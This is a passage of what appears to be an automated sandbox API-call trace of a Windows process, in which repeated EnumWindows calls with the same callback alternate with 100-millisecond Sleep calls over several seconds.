lParam=0x410000) [0204.324] Sleep (dwMilliseconds=0x64) [0204.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.337] Sleep (dwMilliseconds=0x64) [0204.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.339] Sleep (dwMilliseconds=0x64) [0204.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.341] Sleep (dwMilliseconds=0x64) [0204.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.343] Sleep (dwMilliseconds=0x64) [0204.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.345] Sleep (dwMilliseconds=0x64) [0204.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.346] Sleep (dwMilliseconds=0x64) [0204.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.348] Sleep (dwMilliseconds=0x64) [0204.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.857] Sleep (dwMilliseconds=0x64) [0204.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.968] Sleep (dwMilliseconds=0x64) [0204.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.982] Sleep (dwMilliseconds=0x64) [0204.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.984] Sleep (dwMilliseconds=0x64) [0204.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.986] Sleep (dwMilliseconds=0x64) [0204.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.988] Sleep (dwMilliseconds=0x64) [0204.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.990] Sleep (dwMilliseconds=0x64) [0204.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.994] Sleep (dwMilliseconds=0x64) [0204.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.996] Sleep (dwMilliseconds=0x64) [0204.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.999] Sleep (dwMilliseconds=0x64) [0205.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.001] Sleep (dwMilliseconds=0x64) [0205.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.003] Sleep (dwMilliseconds=0x64) [0205.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.006] Sleep (dwMilliseconds=0x64) [0205.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.007] Sleep (dwMilliseconds=0x64) [0205.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.011] Sleep (dwMilliseconds=0x64) [0205.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.012] Sleep (dwMilliseconds=0x64) [0205.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.095] Sleep (dwMilliseconds=0x64) [0205.121] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.122] Sleep (dwMilliseconds=0x64) [0205.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.124] Sleep (dwMilliseconds=0x64) [0205.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.126] Sleep (dwMilliseconds=0x64) [0205.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.127] Sleep (dwMilliseconds=0x64) [0205.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.129] Sleep (dwMilliseconds=0x64) [0205.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.130] Sleep (dwMilliseconds=0x64) [0205.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.132] Sleep (dwMilliseconds=0x64) [0205.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.133] Sleep (dwMilliseconds=0x64) [0205.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.135] Sleep (dwMilliseconds=0x64) [0205.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.136] Sleep (dwMilliseconds=0x64) [0205.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.139] Sleep (dwMilliseconds=0x64) [0205.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.456] Sleep (dwMilliseconds=0x64) [0205.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.531] Sleep (dwMilliseconds=0x64) [0205.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.589] Sleep (dwMilliseconds=0x64) [0205.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.591] Sleep (dwMilliseconds=0x64) [0205.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.592] Sleep (dwMilliseconds=0x64) [0205.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.597] Sleep (dwMilliseconds=0x64) [0205.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.605] Sleep (dwMilliseconds=0x64) [0205.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.610] Sleep (dwMilliseconds=0x64) [0205.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.614] Sleep (dwMilliseconds=0x64) [0205.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.616] Sleep (dwMilliseconds=0x64) [0205.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.618] Sleep (dwMilliseconds=0x64) [0205.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.694] Sleep (dwMilliseconds=0x64) [0205.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.742] Sleep (dwMilliseconds=0x64) [0205.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.743] Sleep (dwMilliseconds=0x64) [0205.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.745] Sleep (dwMilliseconds=0x64) [0205.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.747] Sleep (dwMilliseconds=0x64) [0205.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.751] Sleep (dwMilliseconds=0x64) [0205.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.752] Sleep (dwMilliseconds=0x64) [0205.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.754] Sleep (dwMilliseconds=0x64) [0205.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.755] Sleep (dwMilliseconds=0x64) [0205.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.757] Sleep (dwMilliseconds=0x64) [0205.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.758] Sleep (dwMilliseconds=0x64) [0205.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.760] Sleep (dwMilliseconds=0x64) [0205.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.761] Sleep (dwMilliseconds=0x64) [0205.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.763] Sleep (dwMilliseconds=0x64) [0205.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.769] Sleep (dwMilliseconds=0x64) [0205.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.771] Sleep (dwMilliseconds=0x64) [0205.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.840] Sleep (dwMilliseconds=0x64) [0205.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.881] Sleep (dwMilliseconds=0x64) [0205.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.882] Sleep (dwMilliseconds=0x64) [0205.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.884] Sleep (dwMilliseconds=0x64) [0205.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.885] Sleep (dwMilliseconds=0x64) [0205.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.887] Sleep (dwMilliseconds=0x64) [0205.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.888] Sleep (dwMilliseconds=0x64) [0205.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.890] Sleep (dwMilliseconds=0x64) [0205.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.892] Sleep (dwMilliseconds=0x64) [0205.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.894] Sleep (dwMilliseconds=0x64) [0205.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0205.978] Sleep (dwMilliseconds=0x64) [0206.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.033] Sleep (dwMilliseconds=0x64) [0206.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.035] Sleep (dwMilliseconds=0x64) [0206.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.037] Sleep (dwMilliseconds=0x64) [0206.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.039] Sleep (dwMilliseconds=0x64) [0206.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.040] Sleep (dwMilliseconds=0x64) [0206.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.042] Sleep (dwMilliseconds=0x64) [0206.052] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.833] Sleep (dwMilliseconds=0x64) [0206.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.963] Sleep (dwMilliseconds=0x64) [0206.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.974] Sleep (dwMilliseconds=0x64) [0206.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0206.977] Sleep (dwMilliseconds=0x64) [0207.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.087] Sleep (dwMilliseconds=0x64) [0207.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.157] Sleep (dwMilliseconds=0x64) [0207.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.294] Sleep (dwMilliseconds=0x64) [0207.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.329] Sleep (dwMilliseconds=0x64) [0207.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.401] Sleep (dwMilliseconds=0x64) [0207.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.441] Sleep (dwMilliseconds=0x64) [0207.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.445] Sleep (dwMilliseconds=0x64) [0207.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.450] Sleep (dwMilliseconds=0x64) [0207.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.453] Sleep (dwMilliseconds=0x64) [0207.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.455] Sleep (dwMilliseconds=0x64) [0207.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.457] Sleep (dwMilliseconds=0x64) [0207.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.459] Sleep (dwMilliseconds=0x64) [0207.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.504] Sleep (dwMilliseconds=0x64) [0207.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.575] Sleep (dwMilliseconds=0x64) [0207.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.612] Sleep (dwMilliseconds=0x64) [0207.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.845] Sleep (dwMilliseconds=0x64) [0207.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0207.969] Sleep (dwMilliseconds=0x64) [0208.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.002] Sleep (dwMilliseconds=0x64) [0208.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.008] Sleep (dwMilliseconds=0x64) [0208.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.011] Sleep (dwMilliseconds=0x64) [0208.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.014] Sleep (dwMilliseconds=0x64) [0208.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.015] Sleep (dwMilliseconds=0x64) [0208.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.017] Sleep (dwMilliseconds=0x64) [0208.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.019] Sleep (dwMilliseconds=0x64) [0208.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.021] Sleep (dwMilliseconds=0x64) [0208.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.023] Sleep (dwMilliseconds=0x64) [0208.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.024] Sleep (dwMilliseconds=0x64) [0208.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.025] Sleep (dwMilliseconds=0x64) [0208.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.027] Sleep (dwMilliseconds=0x64) [0208.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.028] Sleep (dwMilliseconds=0x64) [0208.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.030] Sleep (dwMilliseconds=0x64) [0208.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.032] Sleep (dwMilliseconds=0x64) [0208.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.097] Sleep (dwMilliseconds=0x64) [0208.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.142] Sleep (dwMilliseconds=0x64) [0208.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.144] Sleep (dwMilliseconds=0x64) [0208.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.146] Sleep (dwMilliseconds=0x64) [0208.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.147] Sleep (dwMilliseconds=0x64) [0208.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.149] Sleep (dwMilliseconds=0x64) [0208.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.150] Sleep (dwMilliseconds=0x64) [0208.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.152] Sleep (dwMilliseconds=0x64) [0208.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.153] Sleep (dwMilliseconds=0x64) [0208.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.155] Sleep (dwMilliseconds=0x64) [0208.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.156] Sleep (dwMilliseconds=0x64) [0208.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.158] Sleep (dwMilliseconds=0x64) [0208.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.161] Sleep (dwMilliseconds=0x64) [0208.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.163] Sleep (dwMilliseconds=0x64) [0208.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.165] Sleep (dwMilliseconds=0x64) [0208.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.166] Sleep (dwMilliseconds=0x64) [0208.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.168] Sleep (dwMilliseconds=0x64) [0208.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.169] Sleep (dwMilliseconds=0x64) [0208.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.171] Sleep (dwMilliseconds=0x64) [0208.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.224] Sleep (dwMilliseconds=0x64) [0208.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.282] Sleep (dwMilliseconds=0x64) [0208.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.284] Sleep (dwMilliseconds=0x64) [0208.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.287] Sleep (dwMilliseconds=0x64) [0208.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.289] Sleep (dwMilliseconds=0x64) [0208.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.291] Sleep (dwMilliseconds=0x64) [0208.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.295] Sleep (dwMilliseconds=0x64) [0208.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.297] Sleep (dwMilliseconds=0x64) [0208.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.302] Sleep (dwMilliseconds=0x64) [0208.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.305] Sleep (dwMilliseconds=0x64) [0208.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.309] Sleep (dwMilliseconds=0x64) [0208.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.313] Sleep (dwMilliseconds=0x64) [0208.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.350] Sleep (dwMilliseconds=0x64) [0208.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.425] Sleep (dwMilliseconds=0x64) [0208.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.427] Sleep (dwMilliseconds=0x64) [0208.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.455] Sleep (dwMilliseconds=0x64) [0208.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.479] Sleep (dwMilliseconds=0x64) [0208.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.506] Sleep (dwMilliseconds=0x64) [0208.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.590] Sleep (dwMilliseconds=0x64) [0208.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.592] Sleep (dwMilliseconds=0x64) [0208.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.593] Sleep (dwMilliseconds=0x64) [0208.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.595] Sleep (dwMilliseconds=0x64) [0208.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.597] Sleep (dwMilliseconds=0x64) [0208.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.598] Sleep (dwMilliseconds=0x64) [0208.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.600] Sleep (dwMilliseconds=0x64) [0208.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.601] Sleep (dwMilliseconds=0x64) [0208.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.603] Sleep (dwMilliseconds=0x64) [0208.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.604] Sleep (dwMilliseconds=0x64) [0208.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.606] Sleep (dwMilliseconds=0x64) [0208.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.607] Sleep (dwMilliseconds=0x64) [0208.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.609] Sleep (dwMilliseconds=0x64) [0208.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.610] Sleep (dwMilliseconds=0x64) [0208.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.612] Sleep (dwMilliseconds=0x64) [0208.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.613] Sleep (dwMilliseconds=0x64) [0208.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.615] Sleep (dwMilliseconds=0x64) [0208.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.616] Sleep (dwMilliseconds=0x64) [0208.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.628] Sleep (dwMilliseconds=0x64) [0208.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.743] Sleep (dwMilliseconds=0x64) [0208.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.746] Sleep (dwMilliseconds=0x64) [0208.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.748] Sleep (dwMilliseconds=0x64) [0208.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.750] Sleep (dwMilliseconds=0x64) [0208.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.752] Sleep (dwMilliseconds=0x64) [0208.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.753] Sleep (dwMilliseconds=0x64) [0208.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.755] Sleep (dwMilliseconds=0x64) [0208.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.757] Sleep (dwMilliseconds=0x64) [0208.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.761] Sleep (dwMilliseconds=0x64) [0208.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.762] Sleep (dwMilliseconds=0x64) [0208.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.764] Sleep (dwMilliseconds=0x64) [0208.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.765] Sleep (dwMilliseconds=0x64) [0208.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.767] Sleep (dwMilliseconds=0x64) [0208.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.768] Sleep (dwMilliseconds=0x64) [0208.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.770] Sleep (dwMilliseconds=0x64) [0208.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.771] Sleep (dwMilliseconds=0x64) [0208.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.773] Sleep (dwMilliseconds=0x64) [0208.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.774] Sleep (dwMilliseconds=0x64) [0208.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.776] Sleep (dwMilliseconds=0x64) [0208.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.882] Sleep (dwMilliseconds=0x64) [0208.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.893] Sleep (dwMilliseconds=0x64) [0208.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.897] Sleep (dwMilliseconds=0x64) [0208.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.900] Sleep (dwMilliseconds=0x64) [0208.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.903] Sleep (dwMilliseconds=0x64) [0208.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0208.905] Sleep (dwMilliseconds=0x64) [0208.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.012] Sleep (dwMilliseconds=0x64) [0209.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.122] Sleep (dwMilliseconds=0x64) [0209.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.134] Sleep (dwMilliseconds=0x64) [0209.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.136] Sleep (dwMilliseconds=0x64) [0209.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.142] Sleep (dwMilliseconds=0x64) [0209.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.149] Sleep (dwMilliseconds=0x64) [0209.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.151] Sleep (dwMilliseconds=0x64) [0209.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.188] Sleep (dwMilliseconds=0x64) [0209.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.296] Sleep (dwMilliseconds=0x64) [0209.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.303] Sleep (dwMilliseconds=0x64) [0209.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.312] Sleep (dwMilliseconds=0x64) [0209.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.316] Sleep (dwMilliseconds=0x64) [0209.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.319] Sleep (dwMilliseconds=0x64) [0209.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.384] Sleep (dwMilliseconds=0x64) [0209.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.485] Sleep (dwMilliseconds=0x64) [0209.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.598] Sleep (dwMilliseconds=0x64) [0209.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.607] Sleep (dwMilliseconds=0x64) [0209.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.616] Sleep (dwMilliseconds=0x64) [0209.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.629] Sleep (dwMilliseconds=0x64) [0209.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0209.857] Sleep (dwMilliseconds=0x64) [0210.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.064] Sleep (dwMilliseconds=0x64) [0210.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.066] Sleep (dwMilliseconds=0x64) [0210.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.068] Sleep (dwMilliseconds=0x64) [0210.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.115] Sleep (dwMilliseconds=0x64) [0210.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.310] Sleep (dwMilliseconds=0x64) [0210.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.311] Sleep (dwMilliseconds=0x64) [0210.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.398] Sleep (dwMilliseconds=0x64) [0210.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.444] Sleep (dwMilliseconds=0x64) [0210.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.609] Sleep (dwMilliseconds=0x64) [0210.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.714] Sleep (dwMilliseconds=0x64) [0210.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.737] Sleep (dwMilliseconds=0x64) [0210.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.746] Sleep (dwMilliseconds=0x64) [0210.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0210.969] Sleep (dwMilliseconds=0x64) [0211.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.108] Sleep (dwMilliseconds=0x64) [0211.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.200] Sleep (dwMilliseconds=0x64) [0211.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.202] Sleep (dwMilliseconds=0x64) [0211.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.204] Sleep (dwMilliseconds=0x64) [0211.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.205] Sleep (dwMilliseconds=0x64) [0211.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.207] Sleep (dwMilliseconds=0x64) [0211.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.310] Sleep (dwMilliseconds=0x64) [0211.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.450] Sleep (dwMilliseconds=0x64) [0211.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.564] Sleep (dwMilliseconds=0x64) [0211.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.566] Sleep (dwMilliseconds=0x64) [0211.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.569] Sleep (dwMilliseconds=0x64) [0211.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0211.572] Sleep (dwMilliseconds=0x64) [0211.573] EnumWindows 